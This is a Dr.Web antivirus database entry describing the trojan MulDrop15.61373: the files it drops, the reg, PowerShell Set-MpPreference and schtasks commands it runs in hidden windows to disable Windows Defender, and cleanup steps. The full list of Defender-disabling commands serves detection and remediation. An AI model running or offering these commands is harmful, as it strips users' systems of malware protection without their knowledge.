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Trojan.MulDrop15.61373

Added to the Dr.Web virus database: 2020-11-22

Virus description added:

Technical Information

Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
Modifies file system
Creates the following files
  • %TEMP%\_mei24322\vcruntime140.dll
  • %TEMP%\_mei24322\api-ms-win-crt-convert-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-environment-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-filesystem-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-heap-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-locale-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-math-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-multibyte-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-process-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-runtime-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-stdio-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-string-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-time-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-crt-utility-l1-1-0.dll
  • %TEMP%\_mei24322\libcrypto-1_1.dll
  • %TEMP%\_mei24322\main.exe.manifest
  • %TEMP%\_mei24322\base_library.zip
  • %TEMP%\_mei24322\mfc140u.dll
  • %TEMP%\_mei24322\pyexpat.pyd
  • %TEMP%\_mei24322\python37.dll
  • %TEMP%\_mei24322\pythoncom37.dll
  • %TEMP%\_mei24322\pywintypes37.dll
  • %TEMP%\_mei24322\select.pyd
  • %TEMP%\_mei24322\ucrtbase.dll
  • %TEMP%\_mei24322\unicodedata.pyd
  • %TEMP%\_mei24322\win32api.pyd
  • %TEMP%\_mei24322\win32com\shell\shell.pyd
  • %TEMP%\_mei24322\win32evtlog.pyd
  • %TEMP%\_mei24322\win32trace.pyd
  • %TEMP%\_mei24322\win32ui.pyd
  • %TEMP%\_mei24322\include\pyconfig.h
  • %TEMP%\_mei24322\api-ms-win-crt-conio-l1-1-0.dll
  • %TEMP%\_mei24322\libssl-1_1.dll
  • %TEMP%\_mei24322\api-ms-win-core-util-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-file-l2-1-0.dll
  • %TEMP%\_mei24322\_bz2.pyd
  • %TEMP%\_mei24322\_ctypes.pyd
  • %TEMP%\_mei24322\_hashlib.pyd
  • %TEMP%\_mei24322\_lzma.pyd
  • %TEMP%\_mei24322\_queue.pyd
  • %TEMP%\_mei24322\_socket.pyd
  • %TEMP%\_mei24322\_ssl.pyd
  • %TEMP%\_mei24322\_win32sysloader.pyd
  • %TEMP%\_mei24322\api-ms-win-core-console-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-datetime-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-debug-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-errorhandling-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-file-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-file-l1-2-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-handle-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-sysinfo-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-heap-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-interlocked-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-libraryloader-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-localization-l1-2-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-memory-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-namedpipe-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-processenvironment-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-processthreads-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-processthreads-l1-1-1.dll
  • %TEMP%\_mei24322\api-ms-win-core-profile-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-rtlsupport-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-string-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-synch-l1-1-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-synch-l1-2-0.dll
  • %TEMP%\_mei24322\api-ms-win-core-timezone-l1-1-0.dll
  • %TEMP%\hgaz6oz6
Deletes the following files
  • %TEMP%\hgaz6oz6
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
  • '<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  • '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  • '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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